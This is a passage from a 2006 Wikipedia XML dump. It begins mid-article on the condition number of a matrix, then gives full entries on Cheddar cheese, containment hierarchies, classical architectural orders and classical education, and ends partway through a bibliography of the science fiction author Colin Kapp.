The condition number also amplifies the error present in &lt;math&gt;b&lt;/math&gt;.   The extent of this amplification can render a low condition number system (normally a good thing) inaccurate and a high condition number system (normally a bad thing) accurate, depending on how well the data in &lt;math&gt;b&lt;/math&gt; are known.  For this problem, the condition number is defined by

:&lt;math&gt;\Vert A^{-1}\Vert \cdot \Vert A\Vert&lt;/math&gt;,

in any consistent [[matrix norm|norm]].  This number arises so often in numerical [[linear algebra]] that it is given a name, the '''condition number of a matrix''':

:&lt;math&gt;\kappa (A) = \Vert A^{-1}\Vert \cdot \Vert A\Vert.&lt;/math&gt;

Of course, this definition depends on the choice of norm.

* If &lt;math&gt;\|\cdot\|&lt;/math&gt; is &lt;math&gt; l_2&lt;/math&gt; [[matrix norm|norm]] then 
:&lt;math&gt;\kappa(A) = \frac{\sigma_{max}(A)}{\sigma_{min}(A)}&lt;/math&gt; where &lt;math&gt;\sigma_{max}(A)&lt;/math&gt; and &lt;math&gt;\sigma_{min}(A)&lt;/math&gt; are maximal and minimal [[singular value]]s of &lt;math&gt;A&lt;/math&gt; respectively. Hence
:* If &lt;math&gt;A&lt;/math&gt; is [[normal matrix|normal]] then 
::&lt;math&gt;\kappa(A) = \left|\frac{\lambda_{max}(A)}{\lambda_{min}(A)}\right|&lt;/math&gt; (&lt;math&gt;\lambda_{max}(A),\ \lambda_{min}(A)&lt;/math&gt; are maximal and minimal (by moduli) [[eigenvalue]]s of &lt;math&gt;A&lt;/math&gt; respectively)
:* If &lt;math&gt;A&lt;/math&gt; is [[unitary matrix|unitary]] then
::&lt;math&gt;\kappa(A) = 1&lt;/math&gt;
* If  &lt;math&gt;\|\cdot\|&lt;/math&gt; is &lt;math&gt; l_{\infty}&lt;/math&gt; [[matrix norm|norm]] and &lt;math&gt;A&lt;/math&gt; is [[triangular matrix|lower triangular]] non-singular (i.e., &lt;math&gt; a_{ii} \ne 0 \; \forall i&lt;/math&gt;) then
:&lt;math&gt;\kappa(A) \geq \frac{\max_i(|a_{ii}|)}{\min_i(|a_{ii}|)}&lt;/math&gt;

==The condition number in other contexts==

Condition numbers for [[singular-value decomposition]]s, polynomial root finding, [[eigenvalue]] and many other problems may be defined.

Generally, if a numerical problem is well-posed, it can be expressed as
a function &lt;math&gt;f&lt;/math&gt; mapping its data, which is an &lt;math&gt;m&lt;/math&gt;-tuple 
of real numbers &lt;math&gt;x&lt;/math&gt;, into its solution, an  &lt;math&gt;n&lt;/math&gt;-tuple of
real numbers &lt;math&gt;y&lt;/math&gt;.

Its condition number is then defined to be the maximum value of the ratio
of the [[Approximation error|relative errors]] in the solution to the [[relative error]] in the data,
over the problem domain:

:&lt;math&gt;\max \left\{ \left| \frac{f(x) - f(x^*)}{f(x)} \right| \left/ \left| \frac{x - x^*}{x} \right| \right. : |x - x^*| &lt; \epsilon \right\}&lt;/math&gt;

where &lt;math&gt;\epsilon&lt;/math&gt; is some reasonably small value in the variation
of data for the problem.

If &lt;math&gt;f&lt;/math&gt; is also differentiable, this is approximately

:&lt;math&gt;\left| \frac{ f'(x) }{ f(x) } \right|. \left| x \right| &lt;/math&gt;.

[[Category:Numerical analysis]]
[[de:Kondition (Mathematik)]]
[[ru:Число обусловленности]]</text>
    </revision>
  </page>
  <page>
    <title>Cheddar cheese</title>
    <id>6936</id>
    <revision>
      <id>40875299</id>
      <timestamp>2006-02-23T16:21:02Z</timestamp>
      <contributor>
        <username>Thryduulf</username>
        <id>157530</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.142.82.34|72.142.82.34]] ([[User talk:72.142.82.34|talk]]) to last version by 211.30.94.67</comment>
      <text xml:space="preserve">{{Cheese|Cheddar
| [[Image:MidSomerset_Show_170803.jpg|300px]]
| [[England]]
| [[Somerset]], [[Cheddar]]
| [[Cow]]s
| Frequently
| hard/semi-hard
| 3-4 months depending on variety
| No}}
'''Cheddar cheese''' is a pale yellow, sharp-tasting [[cheese]] originally made in the [[England|English]] village of [[Cheddar]], in [[Somerset]]. Cheddar-style cheeses are produced in the [[United Kingdom]], [[Ireland]], [[Canada]], the [[United States]], [[South Africa]], [[New Zealand]], [[Australia]] (where it is often called ''Tasty cheese'') and [[Sweden]]. Much of this cheese is mass-produced and quality varies enormously. The strong flavor develops over time, with a taste  diverse enough that food packaging will usually indicate a strength (&quot;mild&quot; to &quot;strong/sharp/mature&quot;), or the maturation period.  
Cheddar has perhaps always been the most popular cheese in England. A [[pipe roll]] of [[Henry II of England|King Henry II]] records the purchase of 10,420 [[Pound (mass)|pound]]s (avoirdupois pounds and troy pounds did not exist then, probably tower pounds or about 3650 kg) at a [[History of the farthing|farthing]] per pound ([[Pound sterling|£]]3 per tonne).

[[Making Cheddar Cheese|Cheddaring]] refers to an additional step in the production of cheddar-style cheese where, after heating, the [[curd]] is cut into cubes to drain the whey, then stacked and turned.

Cheddar cheese has become too widely produced to have a 'protected designated origin'. However, the [[European Union]] recognises 'West Country Farmhouse Cheddar' as a [[protected designation of origin]]. To meet this standard the cheese must be made in the traditional manner using local ingredients in four designated counties of south-west [[England]].

Like many cheeses, the [[color]] of cheddar is often modified by the use of food colorings. [[Annatto]], extracted from the tropical [[Achiote|achiote tree]], is frequently used to give cheddar an orange color. The origins of this practice are clouded, but the three leading theories appear to be to allow the cheese to have a consistent color from [[batch]] to batch, to assist the purchaser in identifying the type of cheese when it is unlabelled, or to identify the cheese's region of origin. 

In the United States, cheddar cheese comes in several varieties, including mild, medium, sharp, New York Style, Colby/Longhorn, white, and Vermont. '''New York Style Cheddar cheese''' is a particularly sharp cheddar cheese, sometimes with a hint of smoke. It is usually slightly softer than milder cheddar cheese. '''Colby/Longhorn Cheddar cheese''' has a mild to medium flavor. The curds are still distinct, often marbled in color, varying from cream to yellow. Cheddar that has not been coloured is frequently labelled as &quot;white cheddar&quot; or &quot;Vermont cheddar&quot;, regardless of whether it was produced in the state of [[Vermont]].

[[Image:Cheese curds 2.jpg|thumb|left|125px|A bowl of [[cheese curds]] ]]

Cheddar is one of several products used by the [[United States Department of Agriculture]] to track the [[dairy industry]]; reports are issued weekly detailing prices and production quantities. The state of [[Wisconsin]] produces the most cheddar in the United States; other centers of production include [[upstate New York]], [[Vermont]], and [[Tillamook, Oregon]].

Cheddar is also a good source of vitamin B12 and therefore recommendable for vegetarians. A slice of vegetarian cheddar cheese (40g) contains about 0.5 µg of vitamin B12 (required daily intake for a grown man is 2.4 µg).

== Biggest cheddar cheeses ==
[[White House]] [[historian]]s assert that U.S. [[president]] [[Andrew Jackson]] held an open house party where a 1,400 pound (635 kg) block of cheddar cheese was served as refreshment. A cheese of 7,000 pounds (3,175 kg) was produced in [[Ingersoll, Ontario|Ingersoll]], [[Ontario]] in [[1866]] and exhibited in [[New York]] and Britain; it was immortalised in the famous [[poem]] &quot;Ode on the Mammoth Cheese Weighing over 7,000 Pounds&quot; by [[James McIntyre]], a [[Canada|Canadian]] poet. A still larger [[Wisconsin]] Cheddar cheese of 34,951 pounds (15,853 kg) was produced for the [[New York World's Fair]] in [[1964]]. It required the equivalent of the daily milk production of 16,000 [[cattle|cow]]s.

== External links ==
* [http://www.fda.gov Food and Drug Administration]
* [http://www.ilovecheese.com/ ILoveCheese.com] 
* [http://clinton3.nara.gov/WH/glimpse/presidents/html/aj7.html Andrew Jackson's 1,400 lb Cheddar]
* &quot;[http://eir.library.utoronto.ca/rpo/display/poem1367.html Ode on the Mammoth Cheese Weighing over 7,000 Pounds]&quot; - full text of the poem, with notes
* [http://www.needcheese.com NeedCheese.com] Wisconsin Cheese

[[Category:english cheeses]]
[[Category:British Protected designation of origin]]

[[de:Cheddar]]
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[[pt:Cheddar]]
[[he:צ'דר]]</text>
    </revision>
  </page>
  <page>
    <title>Containment hierarchy</title>
    <id>6937</id>
    <revision>
      <id>41236171</id>
      <timestamp>2006-02-25T23:52:32Z</timestamp>
      <contributor>
        <username>Shadow1</username>
        <id>690159</id>
      </contributor>
      <comment>Fixed link to disambiguation page</comment>
      <text xml:space="preserve">A '''containment hierarchy''' is a [[hierarchical]] collection of strictly nested sets.  Each entry in the hierarchy designates a set such that the previous entry is a strict superset, and the next entry is a strict subset.  For example, all rectangles are quadrilaterals, but not all quadrilaterals are rectangles, and all squares are rectangles, but not all rectangles are squares. 

A [[taxonomy]] is a classic example of a containment hierarchy:
* In geometry: [[shape]], [[polygon]], [[quadrilateral]], [[rectangle]], [[Square (geometry)|square]]
* In biology: [[animal]], [[bird]], [[bird of prey|raptor]], [[eagle]], [[golden eagle]]
* The [[Chomsky hierarchy]] in formal languages: recursively enumerable, context-sensitive, context-free, regular
* In physics: [[particle_(ecology)|particle]], [[elementary particle]], [[fermion]], [[lepton]], [[electron]]

== See also ==
* [[Cladistics]]

{{Math-stub}}

[[Category:Hierarchy]]
[[Category:Classification algorithms]]
[[Category:Topology]]
[[Category:Set theory]]
[[Category:Taxonomy]]</text>
    </revision>
  </page>
  <page>
    <title>Classical order</title>
    <id>6938</id>
    <revision>
      <id>41086298</id>
      <timestamp>2006-02-24T23:34:08Z</timestamp>
      <contributor>
        <username>Tom Lougheed</username>
        <id>450264</id>
      </contributor>
      <minor />
      <comment>/* Doric order */</comment>
      <text xml:space="preserve">[[Image:EncycOrders.png|thumb|250px|right|A refined canonic version of the Orders engraved for the ''[[Encyclopédie]],'' vol. 18]]
[[Image:Table of architecture, Cyclopaedia, 1728, volume 1.jpg|thumb|right|250px|Table of architecture, ''[[Cyclopaedia]]'', 1728]]

A '''classical order''' is one of the ancient styles of building design distinguished by their proportions and their characteristic [http://www.grandtradition.net/ profiles] and details, but most quickly recognizable by the type of [[column]] and [[capital (architecture)|capital]] employed. Each style also has its proper [[entablature]], consisting of [[architrave]], [[frieze]] and [[cornice (architecture)|cornice]]. From the 16th century onwards, theorists recognized five orders. Ranged in the engraving (''illustration, right''), from the stockiest and most primitive to the richest and most slender, they are: [[Tuscan order|Tuscan]] (Roman) and [[Doric order|Doric]] (Greek and Roman, illustrated here in its Roman version); [[Ionic order|Ionic]] (Greek version) and Ionic (Roman version); [[Corinthian order|Corinthian]] (Greek and Roman) and [[Composite order|composite]] (Roman). The ancient and original orders of architecture are no more than three, the Doric, Ionic and Corinthian, which were invented by the Greeks. To these the Romans added two, the Tuscan, which they made plainer than the Doric, and the Composite, which was more ornamental, if not more beautiful, than the Corinthian. The first three orders alone, however, show invention and particular character, and essentially differ from each other; the two others have nothing but that which is borrowed, and differing only accidentally. The Tuscan is the Doric in its earliest state, and the Composite is the Corinthian, enriched with the Ionic. To the Greeks, therefore, and not to the Romans, we are indebted for what is great, judicious, and dictinct in architecture.

From the first formation of society, order may be traced. When the rigor of seasons first obliged humans to contrive shelter from the inclemency of the weather, we learn that they first planted trees on end, and then laid others across to support a covering. The bands which connected those trees at top and bottom are said to have given rise to the idea of the base and capital of pillars; and from this simple hint originally proceeded the more improved art of architecure.

The ''order'' of a classical building is like the ''mode'' or ''key'' of classical music. It is established by certain ''modules'' like the ''intervals'' of music, and it raises certain expectations in an audiences attuned to its language. The orders are like the ''grammar'' or ''rhetoric'' of a written composition.
  
== Parts of a column ==

A column is divided into a shaft, its base and its capital. In classical buildings the horizontal structure that is supported on the columns like a beam is called an ''[[entablature]]''.  The entablature is commonly divided into the architrave, the frieze and the cornice. To distinguish between the different Classical orders, the capital is used as the most distinct characteristics.

A complete column and entablature consist of a number of distinct parts.  The ''stylobate'' is the flat pavement on which the columns are placed. Standing upon the stylobate is the ''plinth,''  a square block – sometimes circular – which forms the lowest part of the base. Further up comes the remainder of the base: one or many circular [[Molding (decorative)|moldings]] with profiles. Common examples are the convex ''torus'' and the concave ''scotia,'' separated by fillets or bands.  

On top of the base, the ''shaft'' is placed vertically. The shaft is cylindrical in shape and both long and narrow. The shaft is sometimes decorated with vertical hollows of ''fluting''. The shaft is wider at the bottom than at the top, because its ''[[entasis]]'', beginning a third of the way up, imperceptibly makes the column slightly more slender at the top.

The ''capital'' rests on the shaft. It has a load-bearing function, which concentrates the weight of the entablature, but it primarily serves an aesthetic purpose. The simplest form of the capital is the Doric, consisting of three parts. The ''necking'' is the continuation of the shaft, but is visually separated by one or many grooves. The ''echinus'' lies atop the necking. It is a circular block that bulges outwards towards the top in order to support the [[Abacus (architecture)|''abacus'']], which is a square or shaped block that in turn supports the entablature.

The entablature consists of three horizontal layers, all of which are visually separated from each other using [http://www.grandtradition.net/wiki/index.php?title=Moldings moldings] or bands. The three layers of the entablature have distinct names: the ''architrave'' comes at the bottom, the ''frieze'' is in the middle and the molded ''cornice'' lies on the top.  In Roman and post-Renaissance work, the entablature may be curved into an arch that springs from the column that bears its weight.

== Measurement ==

Columns are measured in a ratio. The ratio is the diameter of the shaft at its base compared to the height of the column. As a result, a Doric column can be described as seven diameters high, an Ionic column is eight diameters high and a Corinthian column nine diameters high. Sometimes this is given as seven lower diameters high, in order to make sure which part of the shaft has been measured.

== Greek orders ==

There are two distinct orders in ancient Greek architecture: Doric and Ionic. These two were adopted by the Romans, as was the Corinthian order. The Corinthian capital, however, was modified by the Romans. The adaption of the Greek orders took place in the 1st century BC. The three ancient Greek orders have since been used in classical Western architecture, both ancient and modern.

Sometimes the Doric order is considered the earlier order, but there is no evidence to support this.  Rather, the orders seem to have appeared at around the same time, the Ionic order in eastern Greece and the Doric order in the west and mainland.  

Both the Doric and the Ionic order appear to have originated in wood. The [[Temple of Hera]] in Olympia is the oldest well-preserved temple of Doric architecture. It was built just after [[600 BC]]. The Doric order later spread across Greece and into [[Sicily]] where it was the chief order for [[monumental architecture]] for 800 years.

=== Doric order ===
:''Main article: [[Doric order]].''

[[Image:DoricParthenon.jpg|thumb|right|100px|The Doric order of the [[Parthenon]]]]

The [[Doric order]] originated on the mainland and western [[Greece]]. It is the simplest of the orders, characterized by short, faceted, heavy columns with plain, round [[Capital (architecture)|capital]]s (tops) and no base. With only four to eight diameters in height, the columns are the most squat of all orders. The shaft of the Doric order is channeled with 20 flutes. The capital consists of a necking which is of a simple form. The echinus is convex and the abacus is square.

Above the capital is a square [[abacus]] connecting the capital to the entablature.  The Entablature is divided into two horizontal registers, the lower part of which is either smooth or divided by horizontal lines.  The upper half is distinctive for the Doric order. The frieze of the Doric entablature is divided into [[triglyph]]s and [[metope (architecture)|metopes]]. A triglyph is a unit consisting of three vertical bands which are separated by grooves. Metopes are plain or carved reliefs.

The Greek forms of the Doric order come without an individual base. The instead are placed directly on the stylobate. Later forms, however, came with the conventional base consisting of a plinth and a torus. The Roman versions of the Doric order have smaller proportions. As a result they appear lighter than the Greek orders.

=== Ionic order ===
:''Main article: [[Ionic order]].''

[[Image:Jonisk1.png]]

The [[Ionic order]] came from eastern Greece, where its origins are entwined with the similar but little known [[Aeolic order]]. It is distinguished by slender, fluted [[pillar]]s with a large base and two opposed ''volutes'' (also called ''scrolls'') in the echinus of the capital. The echinus itself is decorated with an egg- and- dart motif. The Ionic shaft comes with four more flutes than the Doric counterpart (totalling 24). The Ionic base has two convex moldings called ''tori'' which are separated by a scotia.

The Ionic order is also marked by an [[entasis]], a curved tapering in the column shaft. A column of the ionic order is nine lower diameters. The shaft itself is eight diameters high. The architrave of the entablature commonly consists of three stepped bands (''fasciae''). The frieze comes without the Doric ''triglyph'' and ''metope''. The frieze sometimes comes with a continuous ornament such as carved figures. It is also noteworthy to contemplate the use of the compass in the design of this order.

=== Corinthian order ===
:''Main article: [[Corinthian order]]''.

[[Image:Korintisk1.png]]

The [[Corinthian order]] is the most ornate of the Greek orders, characterized by a slender fluted column having an ornate capital decorated with acanthus leaves. It is commonly regarded as the most elegant of the five orders. The most distinct characteristics is the striking capital. The capital of the Corinthian order is carved with two rows of leaves and four scrolls.

The shaft of the Corinthian order has 24 flutes. The column is commonly ten diameters high.

Designed by [[Callimachus (sculptor)|Callimachus]], a Greek [[sculpture|sculptor]] of the [[5th century BC]]. The oldest known building to be built according to the Corinthian order is the monument of [[Lysicrates]] in [[Athens]]. It was built in 335 to 334 BC. The Corinthian order was raised to rank by the writings of the Roman writer [[Vitruvius]] in the 1st century BC.

== Roman orders ==

The Romans adapted all the Greek orders and also developed two orders of their own, basically modification of Greek orders. The Romans also invented the [[superimposed order]]. A superimposed order is when successive stories of a building have different orders. The heaviest orders were at the bottom, whilst the lightest came at the top. This means that the Doric order was the order of the ground floor, the Ionic order was used for the middle storey, while the Corinthian or the Composite order was used for the top storey.

The [[Colossal order]] was invented by [[Renaissance architecture|architects in the Renaissance]]. The Colossal order is characterized by columns that extend the height of two or more stories.

=== Tuscan order ===
:''Main article: [[Tuscan order]]''
[[Image:PalladioTuscan.jpg|thumb|The Tuscan order in [[Andrea Palladio]], ''Quattro Libri di Architettura,'' 1570]]
The Tuscan order has a very plain design, with a plain shaft, and a simple capital, base, and frieze. It is a simplified adaption of the Doric order by the Romans. The Tuscan order is characterized by an unfluted shaft and a capital that only consist of an echinus and an abacus. In proportions it is similar to the Doric order, but overall it is significantly plainer. The column is normally seven diameters high. Compared to the other orders, the Tuscan order looks the most solid.

=== Composite order ===
:''Main article: [[Composite order]]''

[[Image:Komposita1.png]]

The Composite order is a mixed order, combining the volutes of the Ionic with the leaves of the Corinthian order. Until the [[Renaissance]] it was not ranked as a separate order. Instead it was considered as a late Roman form of the Corinthian order. The column of the Composite order is ten diameters high.

=== Nonce orders ===
Several orders, usually based upon the Composite order and only varying in the design of the capitals, have been invented under the inspiration of specific occasions, but have not been used again. Thus they may be termed &quot;nonce orders&quot; on the analogy of [[nonce word]]s. [[Robert Adam]]'s brother [[James Adam|James]] was in Rome in 1762, drawing antiquities under the direction of [[Charles-Louis Clérisseau|Clérisseau]]; he invented a '''British Order''', of which his ink-and-wash rendering with red highlighting, is at the [[Avery Library]], [[Columbia University]]. Adam published an engraving of it. In its capital the heraldic lion and unicorn take the place of the Composite's volutes, a Byzantine/Romanesque conception, but expressed in terms of neoclassical realism. In 1789 [[George Dance the Elder|George Dance]] invented an [[Ammonite Order]], a variant of Ionic substituting volutes in the form of [[fossil]] [[ammonite]]s for [[John Boydell]]'s Shakespeare Gallery in [[Pall Mall, London]]. 
[[Image:Corn-capital-litchfield.jpg|thumb|250px|right|Corn capital at the Litchfield Villa designed by [[architect]] [[A.J. Davis]], located in [[Prospect Park (Brooklyn)]]]]
In the United States [[Benjamin Latrobe]], the architect of the [[United States Capitol|Capitol building]] in Washington DC, designed a series of botanically '''American orders'''. Most famous is the order substituting corncobs and their husks, which was executed by [[Giuseppe Franzoni]] and employed in the small domed Vestibule of the Supreme Court. Only the Supreme Court survived the fire of August 24, 1814, nearly intact. With peace restored, Latrobe designed an American order that substituted for the acanthus tobacco leaves, of which he sent a sketch  to [[Thomas Jefferson]] in a letter, November 5, 1816. He was encouraged to send a model of it, which remains at [[Monticello]]. In the 1830s [[Alexander Jackson Davis]] admired it enough to make a drawing of it. In 1809 Latrobe invented a second American order, employing [[magnolia]] flowers contrained within the profile of classical mouldings, as his drawing demonstrates. It was intended for &quot;the Upper Columns in the Gallery of the Entrance of the Chamber of the Senate&quot; ([http://www.loc.gov/exhibits/us.capitol/s4.html United States Capitol exhibit]).

These nonce orders all express the &quot;speaking architecture&quot; (''architecture parlante'') that was taught in the Paris courses, most explicitly by [[Étienne-Louis Boullée]], in which sculptural details of classical architecture could be enlisted to speak symbolically, the better to express the purpose of the structure and enrich its visual meaning with specific appropriateness. This idea was taken up strongly in the training of [[Beaux-Arts architecture]], ca 1875-1915: see [[architecture parlante]]. 

== Original writings ==

The handbook ''De Architectura'' of [[Vitruvius]] is the only architectural writing that survived from Antiquity.      After it was rediscovered in the 15th century, Vitruvius was instantly hailed as the authority on classical orders and architecture in general.

Architects of the [[Renaissance]] and the [[Baroque]] period in Italy based their rules on Vitruvius' writings. What was added was rules for superimposing the classical orders and the exact proportions of the orders down to the most minute detail.

== Modernist approaches ==

Later the rules of the Renaissance and the Baroque period were disregarded and the original use of the orders was revived, often hailed as the 'correct' use of the orders. Many architects, however, used the Classical orders at their freedom.

In America, [http://www.amazon.com/exec/obidos/tg/detail/-/0486222365 &quot;The American Builder's Companion&quot;], written in the early 1800s by the architect Asher Benjamin, influenced many builders in the eastern states, particularly those who developed what become known as the Federalist style.  The Dover edition is based on the 1827 6th edition of the work, and contains 70 plates with many details of columns, capitals, pilasters, plinths, bases, mouldings, architraves, and so on, with numerous instructions regarding proportion as well.

In 20th century modernist architecture the orders have often become ornaments and regarded as superfluous. Instead columns of steel and reinforced concrete are used.  In late 20th century postmodernist architecture, however, elements of the traditional orders have sometimes been reintroduced.

See also: [[Temple (Roman)]], [[Temple (Greek)]] 

==Further reading==
*Curl, James Stevens, ''Classical Architecture: An Introduction to Its Vocabulary and Essentials, with a Select Glossary of Terms'' 2003. ISBN 0393731197
*[[John Summerson|Summerson, Sir John]], ''The Classical Language of Architecture'' MIT Press, 1966. ISBN 0262690128 (developed from a set of BBC radio talks).
*Tzonis, Alexander, ''Classical Architecture: The Poetics of Order''  1986 ISBN 026270031X

[[Category:Ancient Roman architecture]]
[[Category:Orders of columns]]
[[Category:Architectural elements]]

[[de:Säulenordnung]]
[[es:Órdenes arquitectónicos]]
[[fr:Ordre architectural]]
[[it:Ordine architettonico]]
[[pl:Porządek architektoniczny]]
{{Link FA|pt}}[[pt:Ordem arquitectónica]]
[[zh:柱式]]</text>
    </revision>
  </page>
  <page>
    <title>Classical education</title>
    <id>6940</id>
    <revision>
      <id>40574922</id>
      <timestamp>2006-02-21T15:25:31Z</timestamp>
      <contributor>
        <username>Rfrisbie</username>
        <id>896545</id>
      </contributor>
      <minor />
      <comment>reworked &quot;Western&quot; reference</comment>
      <text xml:space="preserve">'''Classical education''' as understood and taught in the [[middle ages]] of [[Western culture]] is roughly based on the [[ancient Greek]] concept of [[Paideia]].  [[China]] had a completely different tradition of classical education, based in large part on [[Confucian]] and [[Taoist]] traditions.  This article concerns the Western tradition.

== The overall organization ==

Classical education developed many of the terms now used to describe modern [[education]].  Western classical education has three phases, each with a different purpose.  The phases are roughly coordinated with human development, and would ideally be exactly coordinated with each individual student's development.

&quot;Primary education&quot; teaches students how to learn. 

&quot;Secondary education&quot; then teaches a conceptual framework that can hold all human knowledge (history), and then fills in basic facts and practices of the major fields of knowledge, and develops the skills (perhaps in a simplified form) of every major human activity. 

&quot;Tertiary education&quot; then prepares a person to pursue an educated profession, such as law, theology, war, medicine or science.

=== Primary Education ===

Primary education was often called the ''[[trivium]]'', which covered grammar, logic, and rhetoric.

Logic and rhetoric was often taught in part by the [[Socratic method]], in which the teacher raises questions and the class discusses them. By controlling the pace, the teacher can keep the class very lively, yet disciplined.

==== Grammar ====

Grammar consists of [[language]] skills such as reading and the mechanics of writing. An important goal of grammar is to acquire as many words and concepts as possible. Very young students can learn these by rote.  Classical education traditionally included study of [[Latin]] and [[Greek language|Greek]], so that students could read the [[Classics]] of [[Western Civilization]] in the words of the authors.

==== Logic ====

[[Logic]] ([[dialectic]]) is the art of correct [[reasoning]]. The traditional text for teaching logic was [[Aristotle]]'s [[Aristotelian logic|Logic]].

==== Rhetoric ====

[[Rhetoric]] debate and composition (which is just written rhetoric) are taught to somewhat older students, who then have the concepts and logic to criticize their own work and persuade others. According to [[Aristotle]] &quot;Rhetoric is the counterpart of dialectic.&quot;  It is concerned with finding &quot;all the available means of persuasion.&quot;     Hopefully a student has already learned to reason correctly by studying logic.  Students would read and emulate classical poets such as [[Ovid]].

=== Secondary Education ===

Secondary education, classically the ''[[quadrivium]]'' or &quot;four ways,&quot; classically taught [[astronomy]], [[arithmetic]], [[music]] and [[geometry]], usually from Aristotle and [[Euclid]].  Sometimes [[architecture]] was taught, often from the works of [[Vitruvius]].

History was always taught to provide a context, and show political and military development.  The classic texts were from ancient authors such as [[Cicero]] and [[Tacitus]].  

Biographies were often assigned as well; the classic example being [[Plutarch]]'s &quot;Lives.&quot;  Biographies help show how persons behave in their context, and the wide ranges of professions and options that exist.  As more modern texts became available, these were often added to the curriculum.

In the [[middle ages]], these were the best available texts.  In modern terms, these fields might be called [[history]], natural [[science]], [[accounting]] and [[business]], [[fine art]]s (at least two, one to amuse companions, and another to decorate one's domicile), [[military strategy]] and [[tactics]], [[engineering]], [[agronomy]], and [[architecture]].

These are taught in a matrix of history, reviewing the natural development of each field for each phase of the trivium. That is, in a perfect classical education, the historical study is reviewed three times: first to learn the grammar (the concepts, terms and skills in the order developed), next time the logic (how these elements could be assembled), and finally the rhetoric, how to produce good, humanly useful and beautiful objects that satisfy the grammar and logic of the field. 

History is the unifying conceptual framework, because history is the study of everything that has occurred before the present. A skillful teacher also uses the historical context to show how each stage of development naturally poses questions and then how advances answer them, helping to understand human motives and activity in each field. The question-answer approach is called the &quot;dialectic method,&quot; and permits history to be taught Socratically as well. 

Classical educators consider the [[Socrates|Socratic]] method to be the best technique for teaching critical thinking.  In-class discussion and critiques are essential in order for students to recognize and internalize critical thinking techniques. This method is widely used to teach both [[philosophy]] and [[law]].  It is currently rare in other contexts.  Basically, the teacher referees the students' discussions, asks leading questions, and may refer to facts, but never gives a conclusion until at least one student reaches that conclusion.  The learning is most effective when the students compete strongly, even viciously in the argument, but always according to well-accepted rules of correct reasoning.  That is, [[fallacy|fallacies]] should not be allowed by the teacher.

By completing a project in each major field of human effort, the student can develop a personal preference for further education and professional training.

=== Tertiary Education ===

Tertiary education was usually an [[apprentice|apprenticeship]] to a person with the desired profession.  Most often, the understudy was called a &quot;secretary&quot; and had the duty of carrying on all the normal business of the &quot;master.&quot; [[Philosophy]] and [[Theology]] were both widely taught as tertiary subjects in Universities however.

The early biographies of nobles show probably the ultimate form of classical education: A tutor.  One early, much-emulated classic example was that [[Alexander the Great]] was tutored by [[Aristotle]].

== Modern Interpretations of Classical Education ==
 
&quot;The Well-Trained Mind: A Guide to Classical Education at Home,&quot; by Jessie Wise and Susan Wise Bauer (W.W. Norton, 1999), is a modern reference on classical education. It provides a history of classical education, an overview of the methodology and philosophy of classical education, and annotated lists of books, divided by grade and topic, that list the best books for classical education in each category.

[[Marva Collins]] has successfully taught a rapid-fire classical education to inner-city deprived children, many of them labeled as &quot;retarded.&quot;

Also of note is &quot;[http://www.sigmaxi.org/meetings/archive/forum.2001.online.tri.shtml|A New Trivium and Quadrivium],&quot; an article by Dr. George Bugliarello (Bulletin of Science, Technology &amp; Society, Vol. 23, No. 2, 106-113 (2003)). In it, he argues that the scope of the classical liberal education is inadequate for today's society, and that people should also be conversant with the basic facts of science and technology, since they now form a much more important part of our lives than did the tertiary studies of antiquity. He argues for a new synthesis of science, engineering, and the humanities in which there is a balance between what ''can'' be done and what ''ought'' to be done, between human desires and earthly consequences, and between our ever-increasing power to affect our surroundings and the ever-present danger of destroying the ecological and environmental systems which allow us to exist. 

No discussion of classical education could be complete without mentioning [[Mortimer Adler]] and [[Robert Hutchins]], both of the [[University of Chicago]], who set forth in the 1930s to restore the &quot;Great Books&quot; of Western civilization to center stage in the curriculum. Although the standard classical works&amp;mdash;such as the [[Harvard Classics]]&amp;mdash;most widely available at the time, were decried by many as out of touch with modern times, Adler and Hutchins sought to expand on the standard &quot;classics&quot; by including more modern works, and by trying to tie them together in the context of what they described as the &quot;Great Ideas,&quot; condensed into a &quot;Syntopicon&quot; index and bundled together with a new &quot;five foot shelf&quot; of books as &quot;The [[Great Books of the Western World]].&quot; They were wildly popular during the Fifties, and discussion groups of aficionados were found all over the USA, but their popularity waned during the Sixties and such groups are relatively hard to find today.  Extensions to the original set are still being published, encompassing selections from both current and older works which extend the &quot;great ideas&quot; into the present age and other fields, including civil rights, the global environment, and discussions of multiculturalism and assimilation.

== External links ==
* [http://www.sigmaxi.org/meetings/archive/forum.2001.online.tri.shtml A New Trivium and Quadrivium by Dr. George Bugliarello]

*[http://www.lib.uchicago.edu/e/spcl/excat/ideasint.html The University of Chicago and the Ideal of Liberal Education]

*[http://www.gutenberg.edu Gutenberg College, a classical great books college in Eugene, OR]

*[http://www.genevasd.org/ Classical Christian School in San Diego]

*[http://www.greatbooks.org/ The Great Books Foundation]

*[http://www.nsa.edu New Saint Andrews College, a classical Christian college in Moscow, ID]

==See also==
*[[Paideia]]
*[[Education reform]]- a history of alternatives
*[[Western Civilization]] 
*[[Mechanical education]] - it's contempary companion

[[Category:Education by subject]]
[[Category:Classical studies]]
[[Category:Ancient Rome]]</text>
    </revision>
  </page>
  <page>
    <title>Colin Kapp</title>
    <id>6941</id>
    <revision>
      <id>38234534</id>
      <timestamp>2006-02-05T01:19:40Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Colin Kapp''' ([[1928]]&amp;mdash;) is the author of a number of [[science fiction]] [[novel]]s and [[short story|short stories]]. 

He was a contemporary of [[Brian Aldiss]] and [[James White (author)|James White]]. He is most famous for his stories about the [[Unorthodox Engineers]].  His 1984 short story &quot;Something in the City&quot; was eerily prescient about the current situation faced by the US military in Iraq. In this story, soldiers occupying a Middle Eastern country after overthrowing a dictator are being picked off by booby traps (similar to IED's) controlled by an artificial intelligence left behind by the defeated ruler.

==Published works==
''This is a partial list.''
===Cageworld series ===
#''Search for the sun!'' (1982)
#''The Lost worlds of Cronus'' (1982)
#''The Tyrant of Hades'' (1984)
#''Star Search'' (1984)
===Chaos series ===
* ''[[The Patterns of Chaos]]'' (1972)
* ''[[The Chaos Weapon]]'' (1977)
===Other novels ===
* ''[[The Dark Mind]]''
* ''[[Manalone]]''
* ''[[The Wizard of Anharitte]]''
===Short stories ===
====[[Unorthodox Engineers]] ====
*''The Railways Up on Cannis'' (1959) 
*''The Subways of Tazoo'' (1964) 
*''The Pen and the Dark'' (1966) 
*''Getaway from Getawehi'' (1969) 
*''The Black Hole of Negrav'' (1975)
Collected together in ''The Unorthodox Engineers'' (1979)

